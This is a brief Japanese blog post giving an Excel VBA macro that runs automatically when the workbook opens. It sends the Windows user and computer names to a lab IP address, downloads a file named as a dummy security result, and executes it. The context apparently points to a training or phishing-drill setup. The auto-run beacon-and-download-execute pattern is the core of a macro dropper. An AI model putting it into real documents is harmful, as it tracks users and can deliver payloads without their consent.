end0tknr's kipple - web写経開発

太宰府天満宮の狛犬って、妙にカワイイ

excel vbaで、excelファイルをダウンロード後、開く

以下のような感じですかね

Option Explicit

Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
   (ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long

Private Sub Workbook_Open()
    
    Dim userName As String
    userName = Environ("USERNAME")
    Dim pcName As String
    pcName = Environ("COMPUTERNAME")
    
    Call DownloadFile(userName, pcName)
End Sub

Sub DownloadFile(userName As String, pcName As String)

    Dim reqUrlBase As String
    reqUrlBase = "http://192.168.56.108/"
    
    Dim fileName As String
    fileName = "DUMMY_SECURITY_RESULT.XLSX"
    
    Dim reqUrl As String
    reqUrl = reqUrlBase & fileName & "?" & userName & "@" & pcName
    
    Dim savePath As String
    savePath = "C:\TMP\" & fileName

    Dim lngRes As Long

    lngRes = URLDownloadToFile(0, reqUrl, savePath, 0, 0)
    
    If lngRes = 0 Then
        With CreateObject("Wscript.Shell")
            .Run savePath, 5
        End With
    End If

End Sub